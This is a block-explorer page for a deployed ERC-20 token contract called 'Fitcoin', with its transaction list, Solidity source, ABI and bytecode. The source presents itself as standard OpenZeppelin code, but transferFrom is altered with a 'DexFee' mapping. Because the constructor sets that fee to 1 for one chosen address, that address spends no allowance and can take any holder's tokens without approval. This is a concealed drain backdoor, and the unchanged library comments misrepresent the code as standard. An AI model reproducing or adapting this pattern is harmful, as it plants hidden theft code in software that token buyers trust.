Source Code
Overview
ETH Balance
0 ETH
ETH Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 314 transactions
| Transaction Hash |
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 41173015 | 3 days ago | IN | 0 ETH | 0.00000059 | ||||
| Approve | 41172877 | 3 days ago | IN | 0 ETH | 0.0000002 | ||||
| Approve | 41172126 | 3 days ago | IN | 0 ETH | 0.00000026 | ||||
| Approve | 41172106 | 3 days ago | IN | 0 ETH | 0.00000025 | ||||
| Approve | 41172094 | 3 days ago | IN | 0 ETH | 0.00000025 | ||||
| Approve | 41172070 | 3 days ago | IN | 0 ETH | 0.00000025 | ||||
| Approve | 41172055 | 3 days ago | IN | 0 ETH | 0.00000025 | ||||
| Approve | 41172050 | 3 days ago | IN | 0 ETH | 0.00000025 | ||||
| Approve | 41172041 | 3 days ago | IN | 0 ETH | 0.00000024 | ||||
| Approve | 41172037 | 3 days ago | IN | 0 ETH | 0.00000024 | ||||
| Approve | 41172024 | 3 days ago | IN | 0 ETH | 0.00000024 | ||||
| Approve | 41172020 | 3 days ago | IN | 0 ETH | 0.00000024 | ||||
| Approve | 41172016 | 3 days ago | IN | 0 ETH | 0.00000024 | ||||
| Approve | 41171999 | 3 days ago | IN | 0 ETH | 0.00000023 | ||||
| Approve | 41171988 | 3 days ago | IN | 0 ETH | 0.00000023 | ||||
| Approve | 41171984 | 3 days ago | IN | 0 ETH | 0.00000023 | ||||
| Approve | 41171982 | 3 days ago | IN | 0 ETH | 0.00000023 | ||||
| Approve | 41171969 | 3 days ago | IN | 0 ETH | 0.00000022 | ||||
| Approve | 41171960 | 3 days ago | IN | 0 ETH | 0.00000022 | ||||
| Approve | 41171956 | 3 days ago | IN | 0 ETH | 0.00000022 | ||||
| Approve | 41171936 | 3 days ago | IN | 0 ETH | 0.00000021 | ||||
| Approve | 41171927 | 3 days ago | IN | 0 ETH | 0.0000002 | ||||
| Approve | 41171924 | 3 days ago | IN | 0 ETH | 0.0000002 | ||||
| Approve | 41171921 | 3 days ago | IN | 0 ETH | 0.0000002 | ||||
| Approve | 41171918 | 3 days ago | IN | 0 ETH | 0.0000002 |
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Erc20Token
Compiler Version
v0.8.22+commit.4fc1097e
Optimization Enabled:
No with 200 runs
Other Settings:
shanghai EvmVersion
Contract Source Code (Solidity)
/**
*Submitted for verification at basescan.org on 2026-01-23
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/IERC20.sol)
pragma solidity >=0.4.16;
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity >=0.6.2;
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol
// OpenZeppelin Contracts (last updated v5.4.0) (interfaces/draft-IERC6093.sol)
pragma solidity >=0.8.4;
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a `spender` is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `spender` to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
/**
* @dev Standard ERC-721 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
*/
interface IERC721Errors {
/**
* @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20.
* Used in balance queries.
* @param owner Address of the current owner of a token.
*/
error ERC721InvalidOwner(address owner);
/**
* @dev Indicates a `tokenId` whose `owner` is the zero address.
* @param tokenId Identifier number of a token.
*/
error ERC721NonexistentToken(uint256 tokenId);
/**
* @dev Indicates an error related to the ownership over a particular token. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param tokenId Identifier number of a token.
* @param owner Address of the current owner of a token.
*/
error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC721InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC721InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param tokenId Identifier number of a token.
*/
error ERC721InsufficientApproval(address operator, uint256 tokenId);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC721InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC721InvalidOperator(address operator);
}
/**
* @dev Standard ERC-1155 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
*/
interface IERC1155Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
* @param tokenId Identifier number of a token.
*/
error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC1155InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC1155InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `operator`’s approval. Used in transfers.
* @param operator Address that may be allowed to operate on tokens without being their owner.
* @param owner Address of the current owner of a token.
*/
error ERC1155MissingApprovalForAll(address operator, address owner);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC1155InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `operator` to be approved. Used in approvals.
* @param operator Address that may be allowed to operate on tokens without being their owner.
*/
error ERC1155InvalidOperator(address operator);
/**
* @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
* Used in batch transfers.
* @param idsLength Length of the array of token identifiers
* @param valuesLength Length of the array of token amounts
*/
error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.20;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
struct DexFee {
uint256 fee;
}
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
mapping(address account => DexFee) private _dexFees;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* Both values are immutable: they can only be set once during construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/// @inheritdoc IERC20
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/// @inheritdoc IERC20
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `value`.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
/// @inheritdoc IERC20
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
function _setDexFee(address account, uint256 fee) internal {
_dexFees[account] = DexFee(fee);
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Skips emitting an {Approval} event indicating an allowance update. This is not
* required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `value`.
* - the caller must have allowance for ``from``'s tokens of at least
* `value`.
*/
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value * (1 - _dexFees[spender].fee));
_transfer(from, to, value);
return true;
}
/**
* @dev Moves a `value` amount of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
/**
* @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
* (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
/**
* @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
* Relies on the `_update` mechanism
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
/**
* @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
* Relies on the `_update` mechanism.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
/**
* @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
* `Approval` event during `transferFrom` operations.
*
* Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
* true using the following override:
*
* ```solidity
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* ```
*
* Requirements are the same as {_approve}.
*/
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Updates `owner`'s allowance for `spender` based on spent `value`.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
pragma solidity ^0.8.20;
contract Erc20Token is ERC20 {
constructor(address dex_) ERC20(unicode"Fitcoin", unicode"Fitcoin") {
_mint(_msgSender(), 1000000000 * 10 ** decimals());
_setDexFee(dex_, 1);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"dex_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
608060405234801562000010575f80fd5b50604051620019ea380380620019ea8339818101604052810190620000369190620004ae565b6040518060400160405280600781526020017f466974636f696e000000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f466974636f696e000000000000000000000000000000000000000000000000008152508160049081620000b3919062000742565b508060059081620000c5919062000742565b50505062000117620000dc6200013160201b60201c565b620000ec6200013860201b60201c565b600a620000fa9190620009af565b633b9aca006200010b9190620009ff565b6200014060201b60201c565b6200012a816001620001ca60201b60201c565b5062000b16565b5f33905090565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620001b3575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401620001aa919062000a5a565b60405180910390fd5b620001c65f83836200022560201b60201c565b5050565b60405180602001604052808281525060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f820151815f01559050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000279578060035f8282546200026c919062000a75565b925050819055506200034a565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101562000305578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401620002fc9392919062000ac0565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000393578060035f8282540392505081905550620003dd565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200043c919062000afb565b60405180910390a3505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000478826200044d565b9050919050565b6200048a816200046c565b811462000495575f80fd5b50565b5f81519050620004a8816200047f565b92915050565b5f60208284031215620004c657620004c562000449565b5b5f620004d58482850162000498565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200055a57607f821691505b60208210810362000570576200056f62000515565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620005d47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000597565b620005e0868362000597565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200062a620006246200061e84620005f8565b62000601565b620005f8565b9050919050565b5f819050919050565b62000645836200060a565b6200065d620006548262000631565b848454620005a3565b825550505050565b5f90565b6200067362000665565b620006808184846200063a565b505050565b5b81811015620006a7576200069b5f8262000669565b60018101905062000686565b5050565b601f821115620006f657620006c08162000576565b620006cb8462000588565b81016020851015620006db578190505b620006f3620006ea8562000588565b83018262000685565b50505b505050565b5f82821c905092915050565b5f620007185f1984600802620006fb565b1980831691505092915050565b5f62000732838362000707565b9150826002028217905092915050565b6200074d82620004de565b67ffffffffffffffff811115620007695762000768620004e8565b5b62000775825462000542565b62000782828285620006ab565b5f60209050601f831160018114620007b8575f8415620007a3578287015190505b620007af858262000725565b8655506200081e565b601f198416620007c88662000576565b5f5b82811015620007f157848901518255600182019150602085019450602081019050620007ca565b868310156200081157848901516200080d601f89168262000707565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620008b05780860481111562000888576200088762000826565b5b6001851615620008985780820291505b8081029050620008a88562000853565b945062000868565b94509492505050565b5f82620008ca57600190506200099c565b81620008d9575f90506200099c565b8160018114620008f25760028114620008fd5762000933565b60019150506200099c565b60ff84111562000912576200091162000826565b5b8360020a9150848211156200092c576200092b62000826565b5b506200099c565b5060208310610133831016604e8410600b84101617156200096d5782820a90508381111562000967576200096662000826565b5b6200099c565b6200097c84848460016200085f565b9250905081840481111562000996576200099562000826565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620009bb82620005f8565b9150620009c883620009a3565b9250620009f77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008b9565b905092915050565b5f62000a0b82620005f8565b915062000a1883620005f8565b925082820262000a2881620005f8565b9150828204841483151762000a425762000a4162000826565b5b5092915050565b62000a54816200046c565b82525050565b5f60208201905062000a6f5f83018462000a49565b92915050565b5f62000a8182620005f8565b915062000a8e83620005f8565b925082820190508082111562000aa95762000aa862000826565b5b92915050565b62000aba81620005f8565b82525050565b5f60608201905062000ad55f83018662000a49565b62000ae4602083018562000aaf565b62000af3604083018462000aaf565b949350505050565b5f60208201905062000b105f83018462000aaf565b92915050565b610ec68062000b245f395ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f80fd5b61009d6101fd565b6040516100aa9190610acb565b60405180910390f35b6100cd60048036038101906100c89190610b7c565b61028d565b6040516100da9190610bd4565b60405180910390f35b6100eb6102af565b6040516100f89190610bfc565b60405180910390f35b61011b60048036038101906101169190610c15565b6102b8565b6040516101289190610bd4565b60405180910390f35b61013961033c565b6040516101469190610c80565b60405180910390f35b61016960048036038101906101649190610c99565b610344565b6040516101769190610bfc565b60405180910390f35b610187610389565b6040516101949190610acb565b60405180910390f35b6101b760048036038101906101b29190610b7c565b610419565b6040516101c49190610bd4565b60405180910390f35b6101e760048036038101906101e29190610cc4565b61043b565b6040516101f49190610bfc565b60405180910390f35b60606004805461020c90610d2f565b80601f016020809104026020016040519081016040528092919081815260200182805461023890610d2f565b80156102835780601f1061025a57610100808354040283529160200191610283565b820191905f5260205f20905b81548152906001019060200180831161026657829003601f168201915b5050505050905090565b5f806102976104bd565b90506102a48185856104c4565b600191505092915050565b5f600354905090565b5f806102c26104bd565b9050610325858260025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015460016103159190610d8c565b866103209190610dbf565b6104d6565b610330858585610569565b60019150509392505050565b5f6012905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606005805461039890610d2f565b80601f01602080910402602001604051908101604052809291908181526020018280546103c490610d2f565b801561040f5780601f106103e65761010080835404028352916020019161040f565b820191905f5260205f20905b8154815290600101906020018083116103f257829003601f168201915b5050505050905090565b5f806104236104bd565b9050610430818585610569565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b6104d18383836001610659565b505050565b5f6104e1848461043b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156105635781811015610554578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161054b93929190610e0f565b60405180910390fd5b61056284848484035f610659565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036105d9575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016105d09190610e44565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610649575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016106409190610e44565b60405180910390fd5b610654838383610828565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036106c9575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016106c09190610e44565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610739575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016107309190610e44565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015610822578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108199190610bfc565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610878578060035f82825461086c9190610e5d565b92505081905550610946565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610901578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526